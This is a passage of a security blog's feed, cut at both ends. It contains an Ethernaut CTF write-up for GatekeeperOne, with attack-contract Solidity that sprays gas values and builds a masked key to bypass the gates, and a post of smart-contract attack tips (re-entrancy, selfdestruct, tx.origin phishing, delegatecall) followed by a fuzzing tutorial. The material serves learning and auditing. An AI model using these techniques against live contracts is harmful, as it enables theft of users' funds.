class="line">tranche.functions.destroy(account.address).call(&#123;&#x27;from&#x27;:account.address&#125;)</span><br></pre></td></tr></table></figure><p>Kicking off the script again, we get the following output:<br><code>ContractLogicError: execution reverted: Invalid access: Only Registry can call</code></p><p>It didn’t work, but that’s ok - there’s lots of other tests that we’ll create when auditing smart contracts and this is just the first of many.<br>What’s important is that we understand the methodology of basic solidity testing.</p><h2 id="Videos"><a href="#Videos" class="headerlink" title="Videos"></a>Videos</h2><p>Secureum and ethernaut content<br><a href="https://youtu.be/b6zEWJwMcGc?t=300">https://youtu.be/b6zEWJwMcGc?t=300</a></p><p>Andy Li - code4rena and real hunting<br><a href="https://www.youtube.com/watch?v=nVucSDlcDFE">https://www.youtube.com/watch?v=nVucSDlcDFE</a></p><h2 id="Audit-Reports"><a href="#Audit-Reports" class="headerlink" title="Audit Reports"></a>Audit Reports</h2><h3 id="yAcademy"><a href="#yAcademy" class="headerlink" title="yAcademy"></a>yAcademy</h3><p><a href="https://reports.yacademy.dev/">https://reports.yacademy.dev</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;After gaining some practice hacking smart contract on ethernaut, it’s time to try hacking on a real bug bounty program. In this post I’ll</summary>
      
    
    
    
    
    <category term="Ethernaut" scheme="https://blindcyber.gitlab.io/tags/Ethernaut/"/>
    
    <category term="Ethereum" scheme="https://blindcyber.gitlab.io/tags/Ethereum/"/>
    
    <category term="Smart Contracts" scheme="https://blindcyber.gitlab.io/tags/Smart-Contracts/"/>
    
  </entry>
  
  <entry>
    <title>Ethernaut Challenge 13 - GateKeeper One</title>
    <link href="https://blindcyber.gitlab.io/2022/03/24/Ethernaut-GatekeeperOne/"/>
    <id>https://blindcyber.gitlab.io/2022/03/24/Ethernaut-GatekeeperOne/</id>
    <published>2022-03-24T20:39:07.000Z</published>
    <updated>2025-10-28T13:30:47.277Z</updated>
    
    <content type="html"><![CDATA[<p>This is my writeup of Ethernaut challenge #13. Ethernaut is a smart contract hacking CTF meant to test your ability at exploiting Ethereum smart contracts. I completed all of the challenges but this is the only one I wrote up. For a complete set of solutions I created using the now deprecated Python Brownie framework, see them at the following link:</p><ul><li><a href="https://github.com/x3419/Ethernaut_Solutions">https://github.com/x3419/Ethernaut_Solutions</a></li></ul><h3 id="Description-amp-Original-Code"><a href="#Description-amp-Original-Code" class="headerlink" title="Description &amp; Original Code"></a>Description &amp; Original Code</h3><p>GatekeeperOne is a smart contract challenge where requirements must be satisfied through multiple checks. If each requirement (or gate) can be bypassed, the challenge is completed. </p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">// SPDX-License-Identifier: MIT</span><br><span class="line">pragma solidity ^0.6.0;</span><br><span class="line"></span><br><span class="line">import &#x27;@openzeppelin/contracts/math/SafeMath.sol&#x27;;</span><br><span class="line"></span><br><span class="line">contract GatekeeperOne &#123;</span><br><span class="line"></span><br><span class="line">  using SafeMath for uint256;</span><br><span class="line">  address public entrant;</span><br><span class="line"></span><br><span class="line">  modifier gateOne() &#123;</span><br><span class="line">    require(msg.sender != tx.origin);</span><br><span class="line">    _;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  modifier gateTwo() &#123;</span><br><span class="line">    require(gasleft().mod(8191) == 0);</span><br><span class="line">    _;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  modifier gateThree(bytes8 _gateKey) &#123;</span><br><span class="line">      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), &quot;GatekeeperOne: invalid gateThree part one&quot;);</span><br><span class="line">      require(uint32(uint64(_gateKey)) != uint64(_gateKey), &quot;GatekeeperOne: invalid gateThree part two&quot;);</span><br><span class="line">      require(uint32(uint64(_gateKey)) == uint16(tx.origin), &quot;GatekeeperOne: invalid gateThree part three&quot;);</span><br><span class="line">    _;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) &#123;</span><br><span class="line">    entrant = tx.origin;</span><br><span class="line">    return true;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Pass-Gate-1"><a href="#Pass-Gate-1" class="headerlink" title="Pass Gate 1"></a>Pass Gate 1</h3><p>We learned about <code>tx.origin</code> in Ethernaut challenge #4 (Telephone). This requirement can be achieved by using an attack contract, which will be used as the <code>msg.sender</code>, while <code>tx.origin</code> will be our original wallet.</p><h3 id="Pass-Gate-2"><a href="#Pass-Gate-2" class="headerlink" title="Pass Gate 2"></a>Pass Gate 2</h3><p>This gate checks that the amount of gas left is divisible by 8191.</p><p>I don’t like javascript so I’ve tried to stick with brownie/python as my development framework which controls solidity. However, remix is really great for solidity dev and debugging.</p><ul><li>The remix debugger displays the amount of <code>gas</code> and <code>remaining gas</code>.</li><li>Different Solidity compiler versions will calculate gas differently. And whether or not optimization is enabled will also affect gas usage</li></ul><p><em>Go read the Pass Gate 3 section, then keep reading</em></p><p>Within the attack contract, we add this function:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">function enter() public returns(bool) &#123;</span><br><span class="line">    bytes memory payload = abi.encodeWithSignature(&quot;enter(bytes8)&quot;, key);</span><br><span class="line">    (bool success,) = victim.call.gas(9999)(payload);</span><br><span class="line">    require(success, &quot;failed somewhere...&quot;);</span><br><span class="line">    return success;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>We’re using 9999 as a random guess that we’ll use to calculate offsets.</p><p>Deploy GateKeeperOne and AttackGateKeeperOne. Call enter() and debug.</p><p>Here we’re debugging on line 17 and we can see our remaining gas within the “Step details” menu is <strong>9756</strong>.</p><img src="/images/remix.png" class="[test]" title="Remix Debugger" alt="Remix Debugger"><p>We need our remaining gas to be divisible by 8191…</p><p>9999 - 9756 = 243 This is the amount of gas used to get to the <code>gateTwo</code> check<br>8191 + 243 = 8434 This is the initial gas required to have <code>remaining gas</code> = 8191 at the gateTwo check</p><p>We came to 8434 within our debugger but this might not always be the case. This is something specific to the compiler, flags, and other EVM settings. The following function (within our attacker contract) allows us to “spray” function call attempts using <code>.call</code> which won’t cause a revert. Here we’ll scan within 120 units of our gas estimate.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">function enter() public returns(bool) &#123;</span><br><span class="line">      </span><br><span class="line">      bytes memory payload = abi.encodeWithSignature(&quot;enter(bytes8)&quot;, key);</span><br><span class="line"></span><br><span class="line">      uint approximateGasTarget = 243;</span><br><span class="line">      uint padding = 60;</span><br><span class="line"></span><br><span class="line">      // now we will use .call to specify different gasses. call will not generate reverts</span><br><span class="line">      // gas offset usually comes in around 243, give a buffer of 60 on each side</span><br><span class="line">      for (uint256 i = 0; i &lt; padding*2; i++) &#123;</span><br><span class="line">        (bool result, bytes memory data) = victim.call.gas(</span><br><span class="line">            i + (approximateGasTarget-padding) + 8191 * 3</span><br><span class="line">          )(</span><br><span class="line">            payload</span><br><span class="line">          );</span><br><span class="line">        if(result)</span><br><span class="line">          &#123;</span><br><span class="line">          break;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br></pre></td></tr></table></figure><h3 id="Pass-Gate-3"><a href="#Pass-Gate-3" class="headerlink" title="Pass Gate 3"></a>Pass Gate 3</h3><p>Original:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), &quot;GatekeeperOne: invalid gateThree part one&quot;);</span><br><span class="line"></span><br><span class="line">require(uint32(uint64(_gateKey)) != uint64(_gateKey), &quot;GatekeeperOne: invalid gateThree part two&quot;);</span><br><span class="line"></span><br><span class="line">require(uint32(uint64(_gateKey)) == uint16(tx.origin), &quot;GatekeeperOne: invalid gateThree part three&quot;);</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Just like math equations we can cancel out the casts that exist on both sides to simplify:</p><ul><li>Note that <code>uint32( uint64(key) ) == uint32(key)</code> because it basically undoes the operation</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">require(uint32(_gateKey) == uint16(_gateKey));</span><br><span class="line"></span><br><span class="line">require(uint32(_gateKey) != uint64(_gateKey));</span><br><span class="line"></span><br><span class="line">require(uint32(_gateKey) == uint16(tx.origin));</span><br></pre></td></tr></table></figure><h5 id="Check-1"><a href="#Check-1" class="headerlink" title="Check 1"></a>Check 1</h5><p>For the checks, let’s visualize the two variables by starting off with all the bits being available for bitwise operations (set to 1).</p><p>   uint32           uint16<br>0x11111111 == 0x1111</p><p>We want these to be equal. That can be achieved by turning the 4th left-most bytes of the uint32 to 0.</p><p>Mask: <em>0x0000FFFF</em></p><h5 id="Check-2"><a href="#Check-2" class="headerlink" title="Check 2"></a>Check 2</h5><p>Since we know what mask we need for check one, we’ll start off with that (in binary form).<br>Var A stays the same as the mask because those are the only bytes available.<br>Var B gets prepended with 8 bytes (1’s) because there are 8 extra bytes that we want available for bitwise operations.</p><p>uint32 (A)                 uint64 (B)<br>0x00001111 != 0x1111111100001111</p><p>We want these vars to NOT be equal. If the 8 left-most bytes (1’s) of var B don’t get accounted for, the results will always be equal. Therefore we must account for those bytes by setting them to 1.</p><p>Mask: <em>0xFFFFFFFF0000FFFF</em></p><h5 id="Check-3"><a href="#Check-3" class="headerlink" title="Check 3"></a>Check 3</h5><p>We need the key’s first 16 bytes to contain the <code>tx.origin</code><br>However in reality the key is only 8 bytes so we can AND our mask with the 8-byte version of <code>tx.origin</code> to get the final key.</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">bytes8 key = bytes8(tx.origin) &amp; 0xFFFFFFFF0000FFFF;</span><br></pre></td></tr></table></figure><p>This didn’t compile on solidity 0.6.0. After googling, I found that this is equivalient:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">key = bytes8(uint64(uint160(tx.origin))) &amp; 0xFFFFFFFF0000FFFF;</span><br></pre></td></tr></table></figure><h3 id="Conclusion"><a href="#Conclusion" class="headerlink" title="Conclusion"></a>Conclusion</h3><p>This was a great challenge for learning how to approach satisfying multiple requirements within solidity. Ultimately critical vulnerabilities are often a chain of condition bypasses so this gives us some helpful context. I completed this challenge by coding the runtime execution in python which is available in my GitHub.</p><hr><p>References:<br><a href="https://medium.com/coinmonks/ethernaut-lvl-13-gatekeeper-1-walkthrough-how-to-calculate-smart-contract-gas-consumption-and-eb4b042d3009">https://medium.com/coinmonks/ethernaut-lvl-13-gatekeeper-1-walkthrough-how-to-calculate-smart-contract-gas-consumption-and-eb4b042d3009</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;p&gt;This is my writeup of Ethernaut challenge #13. Ethernaut is a smart contract hacking CTF meant to test your ability at exploiting Ethereu</summary>
      
    
    
    
    
    <category term="Ethernaut" scheme="https://blindcyber.gitlab.io/tags/Ethernaut/"/>
    
    <category term="Ethereum" scheme="https://blindcyber.gitlab.io/tags/Ethereum/"/>
    
    <category term="Smart Contracts" scheme="https://blindcyber.gitlab.io/tags/Smart-Contracts/"/>
    
  </entry>
  
  <entry>
    <title>Smart Contract Security</title>
    <link href="https://blindcyber.gitlab.io/2022/03/24/Smart-Contract-Security/"/>
    <id>https://blindcyber.gitlab.io/2022/03/24/Smart-Contract-Security/</id>
    <published>2022-03-24T20:39:07.000Z</published>
    <updated>2025-10-28T13:30:47.278Z</updated>
    
    <content type="html"><![CDATA[<h3 id="Pentesting-Strategy"><a href="#Pentesting-Strategy" class="headerlink" title="Pentesting Strategy"></a>Pentesting Strategy</h3><p>When hunting for vulnerabilities in the real world (on mainnet), we don’t want to spend real money when messing around with smart contract calls. Forking is a helpful technique that allows us to pretend we’re on testing mainnet like a sandbox.</p><h5 id="Networks"><a href="#Networks" class="headerlink" title="Networks"></a>Networks</h5><p>Ethereum contains different networks that you can connect to. There are 4 networks that we care about:</p><ol><li>Mainnet<ul><li>The real ethereum network that is online and is used for financial exchange and production use. </li></ul></li><li>Testnet<ul><li>A decentralized blockchain that is online and is used for testing. </li><li>Testnet examples:<ul><li>Rinkeby</li><li>Ropstein</li></ul></li></ul></li><li>Fork<ul><li>A copy of the mainnet/testnet being proxied into our local testing environment. We can unlock and control any wallets as if we had the private key.</li><li>This is useful if we want to interact with a smart contract in its current state, instead of recreating that state manually via local deployment.</li></ul></li><li>Local<ul><li>Our local debugging environment. There’s a useful tool named <code>ganache</code> that can provide us a local blockchain.</li><li>To test locally:<ul><li>Copy the solidity code to the local project</li><li>Deploy the smart contract to ganache</li><li>Recreate the state of the VM (sometimes)<ul><li>Ex) A CTF challenge, the EVM is initialized and your account is given 20 tokens that you must use to hack the smart contract somehow. Instead of forking we can deploy locally, then deposit 20 tokens into our account manually.</li></ul></li></ul></li></ul></li></ol><h5 id="Smart-Contract-Attack-Surfaces-amp-Tips"><a href="#Smart-Contract-Attack-Surfaces-amp-Tips" class="headerlink" title="Smart Contract Attack Surfaces &amp; Tips"></a>Smart Contract Attack Surfaces &amp; Tips</h5><ol><li>Data within smart contracts (global vars) are not private. The EVM bytecode is published on the blockchain and there are simple ways to obtain <code>private</code> variables.<ul><li>There’s a way to read any variable within the contract based on its slot index</li></ul></li><li>When money is sent to a smart contact without specifying a function name, this triggers the fallback function which is represented as <code>fallback()</code> or <code>receive()</code>. <ul><li>Vulnerable contracts may send money to your contract address in this way. <ul><li>If this occurs and conditions are not checked before, this can be exploited.<ul><li>Ex) A vulnerable contract with a withdraw() function may send the user’s funds BEFORE decrementing their balance</li><li>This is what’s known as a Re-entrancy attack (recursion)</li></ul></li></ul></li><li>When transfering funds, you must remember:<ul><li>The recipient isn’t always an externally owned account (a wallet). It may be a smart contract, which will run code when the transfer is confirmed.</li><li>If an attacker contract’s fallback function is triggered, it may break things by reverting</li></ul></li></ul></li><li>Modifiers are really important. They determine what functions you can leverage.<ul><li>Ex) <code>function isLastFloor(uint) external returns(bool);</code><ul><li>This interface can be used for both reading and modifying data within the contract.</li><li>The <code>view</code> function modifier on interfaces can prevent state changes from occurring </li></ul></li></ul></li><li>Composition can be used for working within the same block as the victim contract<ul><li>Deploy an attack contact and pass the victim contract address as the constructor parameter so that calls can be made from the attack contract to the victim contract.</li><li>If “randomness” is computed based on block-related attributes, these results can be recreated within the attack contract. The only secure way to provide pseudo-randomness is using oracles.</li></ul></li><li>There is a difference between <code>tx.origin</code> and <code>msg.sender</code> that allows phishing attacks.<ul><li>By convincing a victim to send funds to an attacker contract, the fallback function can be triggered - if a victim contract (e.g. victim’s bank) is then called, the <code>tx.origin</code> will be the victim and <code>msg.sender</code> will be the attacker.</li><li><code>tx.origin</code> should never be used to authenticate identity</li><li><code>tx.origin</code> should never be used to determine whose tokens to transfer</li></ul></li><li>Solidity has underflows and underflows. <ul><li>Safe math libraries are built-in after 0.6.0 (TODO: double check this)</li><li>Earlier solidity versions must import SafeMath</li></ul></li><li><code>delegatecall</code> is a way to call arbitrary functions in a contract or library.<ul><li>This should never be in a fallback function! </li><li>It allows the attacker to call whatever function they want in the contract specified.<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">fallback() external &#123;</span><br><span class="line">    (bool result,) = address(delegate).delegatecall(msg.data);</span><br><span class="line">    if (result) &#123;</span><br><span class="line">      this;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ul></li><li>Even if a contract doesn’t mark their fallback as payable, there’s still a special way to send it money.<ul><li><code>selfdestruct(_address);</code> can be used by an attack contract to force a payment. <ul><li>In this case the attacker function would be <code>function attack(address _address) payable public</code></li></ul></li><li>It’s important not to count on the invariant <code>address(this).balance == 0</code> for any contract logic</li></ul></li><li>When doing type conversions (casting) it’s usually easier do it within an attacker contract.</li><li>Bitwise operations are painful but elegant, and will help with smart contract hacking.<ul><li>A ^ B = C then A ^ C = B</li></ul></li><li> <code>extcodesize(caller())</code> is the .text section (opcodes, code instructions) size of the caller    - You can hide the size of your attack contract by doing everything in the constructor</li><li>For ERC-20 tokens there’s two ways to transfer funds:<ol><li><code>function transfer(address _to, uint256 _value) public</code></li><li><code>function transferFrom(address _from, address _to, uint256 _value) public</code><ol><li>The <code>approve(address _toBeApproved, _value) public</code> function must be called first before <code>transferFrom(toBeApproved, 100000000)</code> will work</li></ol></li></ol></li></ol><h1 id="Invariants-amp-Fuzzing"><a href="#Invariants-amp-Fuzzing" class="headerlink" title="Invariants &amp; Fuzzing"></a>Invariants &amp; Fuzzing</h1><p>When I first started to learn blockchain and smart contract security in 2021 there wasn’t much learning curriculum freely available online. There were some CTFs like Ethernaut with helpful writeups, but they were mostly in the same test suite (hardhat) and lacked the general context of how this type of bug hunting theory applied to live protocols. Also, JavaScript is lame.</p><p>Jumping now to December of 2023, there’s so many freely available resources that you can even just watch videos. I don’t always have the discipline to keep digging into really weird complicated stuff like this but I’ve been watching videos and have been blown away by the quality of training resources provided by Patrick Collins and Owen Thurm. </p><p>My top blockchain security learning resource for 2024:</p><ul><li>Cyfrin Security Review Course<ul><li><a href="https://updraft.cyfrin.io/courses/security">https://updraft.cyfrin.io/courses/security</a></li></ul></li><li>Owen Thurm’s Advanced Web3 Security Course | Part 1 &amp; 2<ul><li><a href="https://www.youtube.com/watch?v=DRZogmD647U">https://www.youtube.com/watch?v=DRZogmD647U</a></li></ul></li></ul><p>I got to the TSwap section of the Cyfrin course and Patrick mentioned that he plans to redo the stateful fuzzing section because he thought he explained it poorly. I disagree, but I wanted to do a deep dive myself and maybe this can help others.</p><h1 id="Testing-and-Verification-Approaches"><a href="#Testing-and-Verification-Approaches" class="headerlink" title="Testing and Verification Approaches"></a>Testing and Verification Approaches</h1><p>First, know that <a href="https://github.com/Cyfrin/sc-exploits-minimized/tree/main/src/invariant-break">this page</a> from the Cyfrin course thoroughly describes these concepts much better.</p><p>When it comes to testing smart contracts, there’s basically 4 approaches that can be used to assert the validity of various states of a smart contract. From least to most confident, the scale is Stateless fuzzing -&gt; Open Stateful fuzzing -&gt; Handler Stateful fuzzing -&gt; Formal Verification.</p><ul><li><strong>Stateless Fuzzing:</strong><ul><li>Testing approach using random inputs.</li><li>A basic function fuzzer</li><li>Helps identify input related edge cases, but it “forgets” the state of the contract with every fuzz attempt.</li></ul></li><li><strong>Open Stateful Fuzzing:</strong><ul><li>Expands on Stateless fuzzing by considering the contract’s internal state.</li><li>Includes a <code>setUp</code> function to initiate things properly</li><li>Test inputs are generated and executed in a stateful manner.</li><li>Basically it will call multiple functions to try to break the invariant we define. It’ll try crazy stuff in crazy orders though, so you might need a super computer if there’s a lot to fuzz.</li></ul></li><li><strong>Handler Stateful Fuzzing:</strong><ul><li>Expands on Stateful fuzzing but reduces what the fuzzer will do.</li><li>Way more setup with foundry</li><li>Orchestrates interactions with the contract using foundry. <ul><li>Ex) Instead of modifying the contract we’re interacting with to include a <code>valueBefore</code> variable, we instead define it in our handler which avoids changing the original code.</li></ul></li><li>Defines which functions and inputs should be fuzzed, which helps reduce the scope of what the fuzzer will try. This is done through something called <code>selectors</code>. </li></ul></li><li><strong>Formal Verification:</strong><ul><li>Using math to prove the correctness of a smart contract.</li><li>Hard to do. <h1 id="Stateless-vs-Stateful-Fuzzing"><a href="#Stateless-vs-Stateful-Fuzzing" class="headerlink" title="Stateless vs Stateful Fuzzing"></a>Stateless vs Stateful Fuzzing</h1></li></ul></li></ul><p>To explain further:</p><ol><li>Stateless Fuzzing (AKA Fuzzing in Foundry natively, basic function fuzzer)<ul><li>Tries random data</li><li>Easier to instrument</li></ul></li><li>Stateful Fuzzing (Invariant testing)<ul><li>Tries random data in random order</li><li>Harder to instrument</li></ul></li></ol><p>With these pros and cons in mind, the Cyfrin course explains how the famous security researcher  “Tincho” found a critical vulnerability in the Euler protocol by creating and instrumenting a stateful test suite, and used it to identify a codepath violating the invariant, or the expected results of the protocol.</p><h2 id="Codebase-Review"><a href="#Codebase-Review" class="headerlink" title="Codebase Review"></a>Codebase Review</h2><p>Let’s look at this source code example first.</p><ul><li><a href="https://github.com/Cyfrin/sc-exploits-minimized/tree/main/src/invariant-break">https://github.com/Cyfrin/sc-exploits-minimized/tree/main/src/invariant-break</a></li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">src/invariant-break/</span><br><span class="line"></span><br><span class="line">├── HandlerStatefulFuzzCatches.sol</span><br><span class="line">├── StatefulFuzzCatches.sol</span><br></pre></td></tr></table></figure><p>Looking at <code>HandlerStatefulFuzzCatches.sol</code> appears to be a typical ERC20 with a <code>depositToken</code> and <code>withdrawToken</code> function implemented</p><p><code>StatefulFuzzCatches.sol</code>, on the other hand, is a contract that does some math and storage.<br>This is the codepath that we want the fuzzer to eventually hit. </p><h2 id="The-Handler"><a href="#The-Handler" class="headerlink" title="The Handler"></a>The Handler</h2><p>For stateful invariant testing there’s basically two pieces we’re going to use to instrument our protocols:</p><ol><li>Handler</li><li>Target contract (aka the Invariant)</li></ol><p>They’re both kinda instrumenting the code, but in different ways, and they connect together. This might seem confusing but this part is actually pretty straight forward. The part where you lose everyone isn’t really the solidity background and setup, it’s more around understanding how to apply financial math theory to these types of stateful tests.</p><p>The handler you can think of as mostly boilerplate code. It’s a way to overload functionality without modifying the src code. We’ll use both <code>1</code> and <code>2</code> (above) as templates and modify them when creating future invariant tests, but <code>1</code> will require less modification.</p><ul><li><a href="https://github.com/Cyfrin/sc-exploits-minimized/blob/main/test/invariant-break/HandlerStatefulFuzz/Handler.t.sol">https://github.com/Cyfrin/sc-exploits-minimized/blob/main/test/invariant-break/HandlerStatefulFuzz/Handler.t.sol</a></li></ul><p>For our handler example, we’re instrumenting a protocol that has two pools: </p><ol><li>YieldERC20<ul><li>This is an example of a “weird ERC20”, which you can search on <code>solodit</code>, which is an attack surface that we can hunt for in the future. Lots of protocols have strange issues within contracts that inherit ERC20. </li></ul></li><li>MockUSDC<ul><li>People deposit USDC as collateral, they then mint and receive however many YieldERC20 tokens in exchange, and then they can use them to withdraw. </li></ul></li></ol><p>Again, this is a pretty typical ERC20 two LP protocol, so in the future if we’re writing our own handler for another ERC20 contract, this will only require a few modifications here and there.</p><h2 id="How-not-to-write-an-invariant-test"><a href="#How-not-to-write-an-invariant-test" class="headerlink" title="How not to write an invariant test"></a>How not to write an invariant test</h2><p>For this first example I want to show how not to write these invariant tests.<br>In this <code>InvariantFail.t.sol</code> example let’s first talk about the <code>statefulFuzz_testInvariantBreakFail</code> lines that are commented, which is a function that, since this is a <code>stateful</code> test, will be fuzzed in random order in conjunction with the other <code>testInvariantBreakHard</code> function.</p><ul><li><a href="https://github.com/Cyfrin/sc-exploits-minimized/blob/main/test/invariant-break/HandlerStatefulFuzz/InvariantFail.t.sol">https://github.com/Cyfrin/sc-exploits-minimized/blob/main/test/invariant-break/HandlerStatefulFuzz/InvariantFail.t.sol</a></li></ul><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// // Well this doesn&#x27;t work...</span></span><br><span class="line"><span class="comment">// // cuz there are too many possible inputs! We need to narrow down the inputs with a handler</span></span><br><span class="line"><span class="comment">// // Uncomment this to run it because it&#x27;ll break tests</span></span><br><span class="line"><span class="comment">// function statefulFuzz_testInvariantBreakFail() public &#123;</span></span><br><span class="line"><span class="comment">//     vm.startPrank(owner);</span></span><br><span class="line"><span class="comment">//     handlerStatefulFuzzCatches.withdrawToken(mockUSDC);</span></span><br><span class="line"><span class="comment">//     handlerStatefulFuzzCatches.withdrawToken(yeildERC20);</span></span><br><span class="line"><span class="comment">//     vm.stopPrank();</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//     assert(mockUSDC.balanceOf(address(handlerStatefulFuzzCatches)) == 0);</span></span><br><span class="line"><span class="comment">//     assert(yeildERC20.balanceOf(address(handlerStatefulFuzzCatches)) == 0);</span></span><br><span class="line"><span class="comment">//     assert(mockUSDC.balanceOf(owner) == startingAmount);</span></span><br><span class="line"><span class="comment">//     assert(yeildERC20.balanceOf(owner) == startingAmount);</span></span><br><span class="line"><span class="comment">// &#125;</span></span><br></pre></td></tr></table></figure><p>and the second part</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Our fuzz test won&#x27;t catch it...</span></span><br><span class="line"><span class="comment">// All our withdraws should work</span></span><br><span class="line"><span class="comment">// And our fuzz test doesn&#x27;t catch it... Hmm....abi</span></span><br><span class="line"><span class="comment">// Let&#x27;s try stateful fuzzing</span></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">testInvariantBreakHard</span>(<span class="params">uint256 randomAmount</span>) <span class="title">public</span> </span>&#123;</span><br><span class="line">vm.assume(randomAmount &lt; startingAmount);</span><br><span class="line">vm.startPrank(owner);</span><br><span class="line"><span class="comment">// Deposit some yeildERC20</span></span><br><span class="line">yeildERC20.approve(address(handlerStatefulFuzzCatches), randomAmount);</span><br><span class="line">handlerStatefulFuzzCatches.depositToken(yeildERC20, randomAmount);</span><br><span class="line"><span class="comment">// Withdraw some yeildERC20</span></span><br><span class="line">handlerStatefulFuzzCatches.withdrawToken(yeildERC20);</span><br><span class="line"><span class="comment">// Deposit some mockUSDC</span></span><br><span class="line">mockUSDC.approve(address(handlerStatefulFuzzCatches), randomAmount);</span><br><span class="line">handlerStatefulFuzzCatches.depositToken(mockUSDC, randomAmount);</span><br><span class="line"><span class="comment">// Withdraw some mockUSDC</span></span><br><span class="line">handlerStatefulFuzzCatches.withdrawToken(mockUSDC);</span><br><span class="line">vm.stopPrank();</span><br><span class="line"></span><br><span class="line">assert(mockUSDC.balanceOf(address(handlerStatefulFuzzCatches)) == <span class="number">0</span>);</span><br><span class="line">assert(yeildERC20.balanceOf(address(handlerStatefulFuzzCatches)) == <span class="number">0</span>);</span><br><span class="line">assert(mockUSDC.balanceOf(owner) == startingAmount);</span><br><span class="line">assert(yeildERC20.balanceOf(owner) == startingAmount);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>By the time this test runs we’ve already done the basic contract setup with foundry cheat codes.<br>These functions are following the right general idea, but there’s way too many possible inputs and codepaths that the fuzzer could instrument. This could maybe work with a supercomputer, but we don’t have that, so we’re going to use Foundry’s <code>targetSelector</code> and <code>FuzzSelector</code> to instrument our testing with more granularity. We want randomness, but only regarding parameters and functions that can be defined using these selectors.</p><h2 id="Invariant-Testing-the-Correct-Way"><a href="#Invariant-Testing-the-Correct-Way" class="headerlink" title="Invariant Testing the Correct Way"></a>Invariant Testing the Correct Way</h2><p>There’s these things called <code>selectors</code>. It’s just an arbitrary solidity design pattern that we use as a template/example in the future. This, with a proper setup, is a better way to instrument the contract, like telling it “We only care about these 2 supported tokens, and these are the 3 functions we want used for fuzzing”:</p><ul><li><a 